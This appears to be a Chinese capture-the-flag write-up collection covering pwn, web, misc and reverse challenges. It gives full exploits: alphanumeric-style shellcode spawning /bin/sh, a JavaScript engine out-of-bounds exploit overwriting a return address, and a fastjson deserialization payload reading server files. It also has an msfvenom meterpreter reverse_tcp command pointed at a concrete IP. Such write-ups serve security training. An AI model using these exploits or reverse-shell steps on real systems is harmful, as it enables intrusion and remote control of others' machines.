"""
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
"""
### CreateCode
反编译create_code，漏洞点见如下代码注释处：
.text:00000000000013F0 sub_13F0 proc near ; CODE XREF: main+AE↓p
.text:00000000000013F0; __unwind {
.text:00000000000013F0 endbr64
.text:00000000000013F4 push rbp
.text:00000000000013F5 mov rbp, rsp
.text:00000000000013F8sub rsp, 10h
.text:00000000000013FC mov dword ptr [rbp-0Ch], 0
.text:0000000000001403 mov eax, cs:dword_4040
.text:0000000000001409 cmp eax, 2Eh; '.'
.text:000000000000140C jle short loc_142E
.text:000000000000140E mov edx, 0Fh
.text:0000000000001413 lea rsi, aNoMoreData ; "no more data.\n"
.text:000000000000141A mov edi, 1
.text:000000000000141F mov eax, 0
.text:0000000000001424 call sub_10C0
.text:0000000000001429 jmp locret_153C
.text:000000000000142E; --------------------------------------------------------------------------- .text:000000000000142E
.text:000000000000142E loc_142E: ; CODE XREF: sub_13F0+1C↑j
.text:000000000000142E mov eax, cs:dword_4040
.text:0000000000001434 add eax, 1
.text:0000000000001437 mov cs:dword_4040, eax
.text:000000000000143D mov edi, 324h
.text:0000000000001442 call sub_10F0 ; 申请1000字节大小的内存
.text:0000000000001447 mov [rbp-8], rax
.text:000000000000144B mov rax, [rbp-8]
.text:000000000000144Fand rax, 0FFFFFFFFFFFFF000h
.text:0000000000001455 mov edx, 7
.text:000000000000145A mov esi, 1000h
.text:000000000000145F mov rdi, rax
.text:0000000000001462 call sub_1100 ; 设置申请的内存属性为RWX
.text:0000000000001467 mov edx, 9
.text:000000000000146C lea rsi, aContent ; "content: "
.text:0000000000001473 mov edi, 1
.text:0000000000001478 mov eax, 0
.text:000000000000147D call sub_10C0
.text:0000000000001482 mov rax, [rbp-8]
.text:0000000000001486 mov edx, 3E8h
.text:000000000000148B mov rsi, rax
.text:000000000000148E mov edi, 0
.text:0000000000001493 mov eax, 0
.text:0000000000001498 call sub_10E0 ; 读取数据到内存中
.text:000000000000149D mov eax, cs:dword_4040
.text:00000000000014A3 cdqe
.text:00000000000014A5 lea rcx, ds:0[rax*8]
.text:00000000000014AD lea rdx, unk_4060
.text:00000000000014B4 mov rax, [rbp-8]
.text:00000000000014B8 mov [rcx+rdx], rax
.text:00000000000014BC mov rax, [rbp-8]
.text:00000000000014C0 mov eax, [rax]
.text:00000000000014C2 cmp eax, 0F012F012h; 判断起始地址是否为0xF012F012
.text:00000000000014C7 jnz short loc_1517
.text:00000000000014C9 jmp short loc_14EF
.text:00000000000014CB; --------------------------------------------------------------------------- .text:00000000000014CB
.text:00000000000014CB loc_14CB: ; CODE XREF: sub_13F0+106↓j
.text:00000000000014CB mov rdx, [rbp-8]
.text:00000000000014CF mov eax, [rbp-0Ch]
.text:00000000000014D2 cdqe
.text:00000000000014D4 movzx eax, byte ptr [rdx+rax+4]
.text:00000000000014D9 cmp al, 0Fh; 判断数据值是否>0xF
.text:00000000000014DB jbe short loc_14EB
.text:00000000000014DD mov rdx, [rbp-8]
.text:00000000000014E1 mov eax, [rbp-0Ch]
.text:00000000000014E4 cdqe
.text:00000000000014E6 mov byte ptr [rdx+rax+4], 0; 大于0xF，则置0
.text:00000000000014EB
.text:00000000000014EB loc_14EB: ; CODE XREF: sub_13F0+EB↑j
.text:00000000000014EB add dword ptr [rbp-0Ch], 1
.text:00000000000014EF
.text:00000000000014EF loc_14EF: ; CODE XREF: sub_13F0+D9↑j
.text:00000000000014EF cmp dword ptr [rbp-0Ch], 3E7h遍历内存中的数据
.text:00000000000014F6 jle short loc_14CB
.text:00000000000014F8 mov rax, [rbp-8]
.text:00000000000014FC add rax, 4
.text:0000000000001500 mov cs:qword_4048, rax
.text:0000000000001507 mov rdx, cs:qword_4048
.text:000000000000150E mov eax, 0
.text:0000000000001513 call rdx ; qword_4048 ; 执行申请内存处的代码
.text:0000000000001515 jmp short loc_1521
.text:0000000000001517; --------------------------------------------------------------------------- .text:0000000000001517
.text:0000000000001517 loc_1517: ; CODE XREF: sub_13F0+D7↑j
.text:0000000000001517 mov rax, [rbp-8]
.text:000000000000151B mov dword ptr [rax], 4
.text:0000000000001521
.text:0000000000001521 loc_1521: ; CODE XREF: sub_13F0+125↑j
.text:0000000000001521 mov edx, 15h
.text:0000000000001526 lea rsi, aCreateSuccessf ; "create successfully.\n"
.text:000000000000152D mov edi, 1
.text:0000000000001532 mov eax, 0
.text:0000000000001537 call sub_10C0
.text:000000000000153C
.text:000000000000153C locret_153C: ; CODE XREF: sub_13F0+39↑j
.text:000000000000153C leave
.text:000000000000153D retn
.text:000000000000153D; } // starts at 13F0
.text:000000000000153D sub_13F0 endp
通过上述分析，可以知道，申请了1000字节RWX内存，当前四字节内容为0xF012F012时，会为进一步判断后续内存数据，数据内容限定在0~0xF之间，后续直接执行此处代码。因而，这里可以使用如下指令进行构造，exp如下：
from pwn import*
context(os='linux', arch='amd64')
#context.log_level = 'debug'
BINARY = './create_code'
elf = ELF(BINARY)
if len(sys.argv) > 1and sys.argv[1] == 'r':
HOST = "127.0.0.1"
PORT = 8888
s = remote(HOST, PORT)
else:
s = process(BINARY)
#context.terminal = ['tmux', 'splitw', '-h']
#s = gdb.debug(BINARY)
s.sendline('1')
print(s.recvuntil("content: "))
flag = b"\x12\xF0\x12\xF0"
buf = asm('''
add DWORD PTR [rip+0x600], eax
''')
# make xor ecx,ecx code 0x31c9
buf += asm('''
add al, 0x0d
add al, 0x0d
add al, 0x0d
add BYTE PTR [rdx+rax*1], al
add al, 0x01
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
''')
# padding
buf += asm('''
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx+rax*1]
''')
buf += b"\x00"*(0x27-len(buf))
buf += b"\x0a\x01"
# rcx = 0x200
buf += asm('''
add ecx, DWORD PTR [rip+0x30f]
''')
# push rdx # 0x52
buf += asm('''
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# pop rdi # 0x5f
buf += asm('''
add cl, byte PTR [rdx]
add al, 6
add byte PTR [rdx+rcx*1], al
add al, 1
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# add rdi, 0x30f # 4881c70f030000
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 1
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
''')
# al = 0x40
# xor esi, esi # 0x31f6
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# xor edx, edx # 0x31d2
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# push 0x3b # 0x6a3b
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# pop rax # 0x58
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0x9
add byte PTR [rdx+rcx*1], al
''')
# al = 0x58
# make /bin/sh
# rcx = 0x200
buf += asm('''
add ecx, DWORD PTR [rip+0x20f]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0x5
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 2
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# padding
buf += asm('''
add cl, BYTE PTR [rdx]
''')*((0x200-len(buf))//2 - 1)
buf += asm('''
add cl, byte PTR [rdx+rax*1]
''')
buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05"
buf += b"\x00"*(0x2df-len(buf))
buf += b"\x00\x01"# rcx = 0x30f
buf += b"\x00"*(0x30f-len(buf))
buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02"# /bin/sh
buf += b"\x00"*(0x30f+0x2f-len(buf))
buf += b"\x00\x02"# rcx = 0x200
buf += b"\x00"*(1000-len(buf))
s.sendline(flag+buf)
s.interactive()
### Hello_Jerry
本题将 array.shift 进行了 patch ，每一次 shift 会将 length 减 2 ，那么当 length 为 1 的时候进行一次
shift 便可以得到一个 oob array ，之后便是常规的思路：
leak elf_base -> leak libc_base -> leak stack_base -> write ret_addr to one_gadget
编辑exp.js。
function printhex(s,u){
print(s,"0x"+ u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}
function hex(i){
return"0x"+ i.toString(16).padStart(16, '0');
}
function pack64(u){
return u[0] + u[1] * 0x100000000;
}
function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;
}
a = [1.1];
a.shift();
var ab = newArrayBuffer(0x1337);
var dv = newDataView(ab);
var ab2 = newArrayBuffer(0x2338);
var dv2 = newDataView(ab2);
for(let i = 0; i < 0x90; i++){
dv2 = newDataView(ab2);
}
a[0x193] = 0xffff;
print("[+]change ab range");
a[0x32] = 0xdead;
for(let i = 0; i < 100000000; i ++){
}
var idx = 0;
for(let i = 0; i < 0x5000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x2338){
idx = i;
}
}
print("Get idx!");
function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = newUint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}
function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}
var u = newUint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = newUint32Array(2);
elf_base[0] = u[0] - 0x6f5e0;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);
var free_got = newUint32Array(2);
free_got[0] = elf_base[0] + 0x6bdd0;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);
var libc_base = arb_read(free_got);
libc_base[0] -= 0x9d850;
printhex("libc_base:",libc_base);
var environ_addr = newUint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);
var one_gadget = newUint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);
var zero = newUint32Array(2);
zero[0] = 0;
zero[1] = 0;
printhex("zero:",zero);
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);
print("finish");
for(let i = 0; i < 100000000; i ++){
}
编辑exp。
#!/usr/bin/env python
importstring
from pwn import*
from hashlib import sha256
context.log_level = "debug"
dic = string.ascii_letters + string.digits
DEBUG = 0
def solvePow(prefix,h):
for a1 in dic:
for a2 in dic:
for a3 in dic:
for a4 in dic:
x = a1 + a2 + a3 + a4
proof = x + prefix.decode("utf-8")
_hexdigest = sha256(proof.encode()).hexdigest()
if _hexdigest == h.decode("utf-8"):
return x
r = remote("127.0.0.1",9998)
r.recvuntil("sha256(XXXX+")
prefix = r.recvuntil(") == ", drop = True)
h = r.recvuntil("\n", drop = True)
result = solvePow(prefix,h)
r.sendlineafter("Give me XXXX:",result)
data = open("./exp.js","r").read()
data = data.split("\n")
for i in data:
if i == "":
continue
r.sendlineafter("code> ",i)
r.sendlineafter("code> ","EOF")
r.interactive()
### 还是你熟悉的fastjson吗
由代码可看到，依赖中使用了fastjson和org.fusesource.leveldbjni，通过这fastjosn进行反序列化，并结合leveldbjni进行rce。
找到参考文档：
<https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf>
以及skay小姐姐对上面议题的代码分析：
<http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/>
读取文件目录，获取so文件名。
需要先访问一次/test接口生成数据库和so文件，再读取文件名。
import requests
import os
import sys
import re
importstring
#step1
#read /tmp/ directory to find so file
host = "http://11.1.1.18:8080"
def step1():
global host
result = []
def getArrayData(ch):
out= []
for c in result:
out.append(str(ord(c)))
out.append(str(ord(ch)))
return','.join(out)
def poc(ch):
url = '/hello'
jsonstr = '{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"netdoc:///tmp/"},"charsetName":"utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes":[%s]}]},"address":{"$ref":"$.abc.BOM"}}'
data = {
'data': jsonstr % getArrayData(ch)
}
proxy = {'http':'127.0.0.1:8080'}
proxy = {}
rsp = requests.post(host+url, data=data, proxies=proxy)
if"bytes"in rsp.text:
returnTrue
else:
returnFalse
whileTrue:
for ch instring.printable+'\r\n':
if poc(ch):
result.append(ch)
print('step1>', ''.join(result))
break
step1()
二进制文件修改分析。
通过议题ppt给出的shellcode注入位置，是在文件偏移0x197b0处。
反汇编代码如下：
然而这里的空间比较小，只能jump到另外的位置去，将shellcode放到空的代码区局，找起来不方便。
这里参考skay小姐姐的方法，放到如下图的函数中，将shellcode设置为反弹msf的shellcode。
生成shellcode
msfvenom -a x64 --platform Linux-p linux/x64/meterpreter/reverse_tcp LHOST=39.103.160.59 LPORT=4444> shellcode
监听
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit -j
写文件。
问题：测试时写文件，发现文件存在，则上传的文件为.bak结尾。
但是代码中给了一段copy覆盖的代码，用来解决这个问题。
参考skay小姐姐的base64编码的方法：
<http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/>
接下来就是将修改后的so文件上传并替换了，文件名为通过第一步获取到的文件名。
上传后，再次访问/test接口，触发rce。
OK，读取之到此结束。
## Misc
### login
打开页面需要登录，无账号密码，唯一可疑的只有底下的获取实例，点击发现可以获取一个提示文档，并说按照文档向[email protected]发送邮件即可获取账号。
提示文档是个zip压缩包，里面还有一个加密的压缩包，看到三个文件都被加密了，第一反应解zip伪加密。
winhex修改所有0900伪0000后，发现文件的加密符都没了但是只有示例 - 副本可以正常打开。
由于副本和原文件的原始大小一样，所以盲猜是明文攻击，这里使用winrar压缩后，校对CRC一致，满足明文攻击要求，使用ARCHPR 4.54即可。
1min左右就可以跑出密码为qwe@123，解压出password.zip，打开看见还是加密的，想要获得管理员账号密码，但仍有加密，且不是伪加密，又看到三个txt的原始大小只有6字节，这就是典型的CRC32碰撞，github上搜crc32直接碰。
得到密码`welc0me_sangforctf`，解压得到`.password.swp，linux`下执行vim -r .password.swp
即可恢复出原文件。
回网站登录，看到恭喜我得到了flag，猜测藏在了页面源码里了。
但是所有查看源码的快捷键都被禁止了，都会弹框`What are U** f**king
doing!`，这里解法也不唯一，可以利用浏览器插件，也可以利用`burpsuite`，这我仅用bp举例。
### Bridge
（本题有两个故事线，实际步骤可能与此wp有所不同）
第一步：使用binwalk分析出有zlib数据，但是无法使用binwalk -e或foremost分离出有效文件，在010editor中查看图片。
第二步：010 editor中看到最后一个IDAT数据块长度异常，导出这段zlib数据。
第三步：观察IDAT标识后面的`87 9C`两个字节，恢复成zlib数据头标识`78
9C`，写脚本将此段zlib数据解压缩，可得到一个rar压缩包。注意解压缩的zlib数据应该是去掉IDAT-length、IDAT-type、IDAT-crc的数据部分，即（78 9C ..... ）。
import zlib
data = open("zlib_hex_data.txt", 'r',
encoding="utf-8").read().replace(" ", "").replace("\n",
"").strip()
data_dec = zlib.decompress(bytes.fromhex(data))
print(data_dec[:100])
with open("zlib_data.rar", 'wb') as wf:
wf.write(data_dec)
#b'Rar!\x1a\x07\x01\x00J\x97,}\x0c\x01\x05\x08\x00\x07\x01\x01\x96\x9c\x87\x80\x00\xf7\xea}W\x13\x03\x02\xbd\x00\x04\xbd\x00\x00\x90:\xd1\xdc\x80\x00\x00\x03CMT\xe5\xa6\x82\xe6\x9e\x9c\xe4\xbd\xa0\xe4\xb8\x8d\xe7\x9f\xa5\xe9\x81\x93\xe8\xbf\x99\xe6\x98\xaf\xe4\xbb\x80\xe4\xb9\x88\xe4\xb8\x9c\xe8\xa5\xbf\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x8e\xbb\xe7\x9c\x8b
解压压缩包可得flag2，注意压缩包中有提示请先获取flag1。
第四步：继续找flag1，分析最开始的那张图片，实际使用zsteg和exiftool可以发现其他可以信息。
exiftool看到Copyright有可以十六进制：翻译过来是：dynamical-geometry。
zsteg发现这张图片除了存在extradata外，在中也有脏数据。
使用StegSolve检查隐写。
第五步：导出十六进制，这里不能直接打开图片，可使用foremost将PNG快速分离出来,最后得到一张590x590，大小为979KB的图片，注意如果仅去掉PNG字符前数据并改后缀为PNG也能正常查看图片，但会阻塞下一步分析像素操作。
第六步：到这里只有一张色彩值杂乱的PNG图片，分析其像素。
from PIL importImage
image = Image.open(r'C:\Users\during\Downloads\00000000.png')
allpixels = []
for x in range(image.width):
for y in range(image.height):
allpixels.append(image.getpixel((x, y)))
print(len(allpixels)) # 348100
print(allpixels[:4])
# [(40, 176, 80), (37, 181, 75), (1, 253, 3), (2, 252, 4)]
# 0x50 0x4B 0x03 0x04
第七步：取前四个字节即可看出，像素第三列隐藏着压缩包十六进制，批量提取并保存成zip压缩包，使用第四步得到的密码：dynamical-geometry解密，得到flag1文件。
from PIL importImage
image = Image.open(r'C:\Users\during\Downloads\00000000.png')
allpixels = []
for x in range(image.width):
for y in range(image.height):
if image.getpixel((x, y)) == (0, 0, 0):
continue
allpixels.append(image.getpixel((x, y))[2])
hex_datalist = [str(hex(i))[2:].zfill(2) for i in allpixels]
print("".join(hex_datalist)[:100])
# 504b0304140009006300caa05753d904fdb22a4b0500dce856000f000b00666c6167312d61736369692e73746c0199070001
with open("outpur.txt", 'w') as wf:
wf.write("".join(hex_datalist))
第八步：记事本打开文件后，是3D打印模型中的STL格式文件，STL格式分为ascii、binary格式，使用在线工具或开源工具查看模型即可。这一步并不需要脑洞，拷贝stl-ascii格式数据百度即可查询到STL文件格式的有关内容。
根据flag1的STL格式，将flag2也尝试用STL预览器查看：
### Disk
看文件名`zse456tfdyhnjimko0-=[;.,.vera`可以发现是用Veracrpyt加密后的文件，观察文件名发现是初级磁盘密码，根据字母按键盘能得到密码：pvd
使用任意一个没有被使用的卷标识挂载文件，能够得到如下两个文件：
看文件头`37 7A BC
AF`可只是7z压缩包，直接解压即可（是为了尽量减少附件体积，因为bitlocker加密对分区有大小限制所以初始分区较大），得到附件gooood。
拖入010editor，发现有如下字样，能够看出是windows下的分区，或者是放到linux下使用file命令进行识别。
修改后缀为vhd，双击gooood.vhd文件发现被bitlocker加密，使用bitlocker2john结合hashcat爆一下弱密码字典，`bitlocker2john
-i gooood.vhd`,然后将User Password
hash的值保存成hash.txt，将弱密码的字典放到passwd.txt，使用`hashcat -m 22100 hash.txt passwd.txt
--show`爆出密码:abcd1234。
用`abcd1234`解密bitlocker加密的分区，打开之后是空的，使用diskgenius挂载分区，可以在隐藏分区的回收站里找到提示和附件。
打开文本文档发现hint是3389,即提示黑客使用远程桌面连接到了受害者主机看到了flag，这里有个知识点是关于：rdp协议默认开启位图缓存功能，会产生bmc文件，使用bmc-tool或者BMC Viewer能够恢复出缓存的图像。
清晰可见: cmRwY2FjaGUtYm1j,解密baset64即为flag:SangFor{rdpcache-bmc}
### flow hunter
1.首先要在众多流量中甄别出DNS流量中隐藏有关键信息，普通流量中DNS流量不会有这么多，其次也可以通过全局搜索secret关键字找到提示`becareful_rainbow`,根据rainbow关键词可以发现，DNS流量中请求了非常多域名后缀为`rainbow.bubble`的流量。
通过过滤:tcp and frame contains "secret"可以找到TRUESECRET。
2.这一步可以使用脚本提取，也可以使用tshark命令提取全部的dns.qry.name，tshark -Y misc3.pcap -T fields -e
dns.qry.name -r 'udp.dstport==53' >
domain.txt可将DNS中所有解析的域名存放于domain.txt中，删除所有的43.9.227.10.in-addr.arpa即可得到纯净的域名请求记录。
3.脚本提取二级域名前缀，组成十六进制保存成PNG图片可以得到一张二维码（datamatrix格式）。
print("".join([j.split(".")[1] for j in[i.strip() for i in open(r"domain.txt",'r').readlines() if i isnot"\n"]]))
然后将十六进制放到010editor中保存为PNG，然后解码：
4.观察到的秘钥ecb_pkcs7可知是AES加密，用这个秘钥去解密搜索关键词secret得到的密文（密文有五段，组合起来urldecode即可解密），得到sslkey.log，需要选定模式为：ECB-pkcs7-256。
第一段密文：
AES解密。
5.得到日志后导入wireshark解密https的流量。
## Reverse
### Press
IDA打开分析主函数，如图：
程序先读取一个名为flag的文件，进行一系列计算后输出附件所示的out程序，容易分析出核心算法即为sub_40094B，分析此函数。
利用case中的字符，能够从公开网络中大致查出这类似于brainfuck语言，但有所扩展使得我们不能直接利用开源工具计算结果。
strcpy中的字符串即为类brainfuck的操作码，从上面的函数看，这段代码的含义大致为：读取一个字符，用160减去此字符，所得的结果再乘5，加2，输出到结果中。
利用out逐字节反算，可以得到一组base64值。
解base64即为flag。
### Lithops
1.首先运行程序尝试输入，根据运行结果可以猜测存在一个值与输入的(经过运算后)flag进行比对。
2.程序的主函数并不复杂，在IDA里面查看一下反编译后的C代码。
可以看出比较关键的内容是sub_402970、sub_402900和sub_4028A0函数，以及v3、v9、v10和v7参数，再直接查看反汇编代码可以看出v7为用户输入的flag。
3.查看一下sub_4028A0函数，我们知道dword_xxxxxx表示地址为xxxxxx的32位数据，这里被当作函数来使用。
使用交叉引用查看一下，其在sub_401010函数中被赋值，该值由sub_4055A0函数通过红框中的两个参数计算而得。
再对dword_433C58使用交叉引用，对经验的应该可以看出这段代码是获取kernel32.dll的基址。
那么，知道API HASH技术的应该可以猜测到sub_4055A0函数主要用于根据模块基址和HASH寻找对应的API函数。
4.sub_402900
5.sub_402970
可以看出类似的情况分别出现在了sub_402900和sub_402970函数中，所有使用到的API函数都被隐藏了，这种情况下，我们可以采用动态调试。
在动态调试前，我们先明确这里存在一个值用于验证其输入的flag是否正确，通过上述内容可以看出这个值应该是输入的flag经过计算后的结果，我们的首要目标应该是寻得该值，并根据该值逆推flag。
6.sub_4028A0动态分析
可以看出在sub_4028A0函数中主要是用到的是MultiByteToWideChar函数，调试并根据参数还原该段代码，应该为：
void gb2312ToUnicode(conststring& src, wstring& result)
{
int n = kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, NULL, 0);
result.resize(n);
kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length());
}
7.sub_402900动态分析
可以看出在sub_402900函数中主要用到的是WideCharToMultiByte函数，调试并根据参数还原该段代码，应该为：
void unicodeToUTF8(const wstring& src, string& result)
{
int n = kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, 0, 0, 0, 0);
result.resize(n);
kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, (char*)result.c_str(), result.length(), 0, 0);
}
8.根据上述内容，我们可以知道程序会把输入的flag进行utf-8编码，并传入sub_402970函数验证。
sub_402970函数中主要使用到的API为GetModuleHandleA、lstrcpyA和lstrcmpA，该函数会从.rsrc节中获取用于验证flag正确性的值，即“E4
B8 8D E5 81 9A E4 BC 9F E5 A4 A7 E6 97 B6 E4 BB A3 E7 9A 84 E6 97 81 E8 A7 82
E8 80 85 0”
到这一步，我们其实比较明确，该程序只是将输入进行utf-8编码，并与隐藏在.rsrc节中的key进行对比验证，根据该key我们写出writeup。
void unicodeToGB2312(const wstring& wstr, string& result)
{
int n = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, 0, 0, 0, 0);
result.resize(n);
::WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, (char*)result.c_str(), n, 0, 0);
}
void utf8ToUnicode(conststring& src, wstring& result)
{
int n = MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, NULL, 0);
result.resize(n);
::MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length());
}
int main(int argc, char** agrv)
{
string strGB2312;
wstring wstrUnicode;
char key[] = "\xE4\xB8\x8D\xE5\x81\x9A\xE4\xBC\x9F\xE5\xA4\xA7\xE6\x97\xB6\xE4\xBB\xA3\xE7\x9A\x84\xE6\x97\x81\xE8\xA7\x82\xE8\x80\x85\x00";
utf8ToUnicode(key, wstrUnicode);
unicodeToGB2312(wstrUnicode, strGB2312);
return0;
}
得到flag。
验证。
### XOR
IDA打开，发现目标程序进行了混淆，进一步分析，可以知道使用了ollvm进行了混淆。
使用工具中的deflat.py脚本，去除混淆的代码。
python deflat.py shift_exercise 0x401170
去除之后，生成shift_exercise_recovered文件，IDA继续分析，仍然存在无用的控制流程。
进一步使用IDA插件script.py进行处理，获得更为直观的伪代码。
进一步使用IDA插件script.py进行处理，获得更为直观的伪代码。
def multiply(multiplier_a, multiplier_b):
tmp = [0] * 64
res = 0
for i in range(64):
tmp[i] = (multiplier_a << i) * ((multiplier_b >> i) & 1)
res ^= tmp[i]
return res
def find_highest_bit(value):
i = 0
while value != 0:
i += 1
value >>= 1
return i
def divide(numerator, denominator):
quotient = 0
tmp = numerator
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
while bit_count >= 0:
quotient |= (1<< bit_count)
tmp ^= (denominator << bit_count)
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
remainder = tmp
return quotient, remainder
def reverse(x, bits):
bin_x = bin(x)[2:].rjust(bits, '0')
re_bin_x = bin_x[::-1]
returnint(re_bin_x, 2)
cipher = [0x32e9a65483cc9671, 0xec92a986a4af329c, 0x96c8259bc2ac4673,
0x74bf5dca4423530f, 0x59d78ef8fdcbfab1, 0xa65257e5b13942b1]
res = b""
for a in cipher:
d = 0xb1234b7679fc4b3d
rr = reverse(a, 64)
rd = reverse((1<< 64) + d, 65)
q, r = divide(rr << 64, rd)
r = reverse(r, 64)
for i in range(8):
res += bytes([r & 0xff])
r >>= 8
print(res)
print(res.decode())
### 生瓜蛋子
IDA打开，分析主函数可以较容易的分析出所需的输入是Sangfor{30位hex}，然后按照Label11所述的逻辑进行判定：
上图中duihua5是虚拟机逻辑通过（此处的虚拟机详见后文）但md5不正确的情况，duihua4是二者都正确的情况，但是上面的伪代码由于花指令的存在，不完全正确。
接下来的部分无法在F5中得到，但是可以基于汇编从text view得到，这部分十六进制字符的部分值得注意：
上图中duihua5是虚拟机逻辑通过（此处的虚拟机详见后文）但md5不正确的情况，duihua4是二者都正确的情况，但是上面的伪代码由于花指令的存在，不完全正确。
接下来的部分无法在F5中得到，但是可以基于汇编从text view得到，这部分十六进制字符的部分值得注意：
图片
目前无法得到关于这些字符如何使用的信息，动态调试时，关注这部分地址（403xxx），可以分析出这是一个虚拟机，其中：
* 最后的64个字符为opcode，这64个字节中前面32个决定偏移，后面32个决定计算方式。
* 计算方式包括模加，模减，模乘和异或，4种计算方法，32个字节中的前30个分别对30位输入决定，因为是16进制，可以分析出高4位决定一种，低4位决定一种，两种计算分别进行，存在于两个变量中。
（图为强行nop掉花指令后得到的结构）
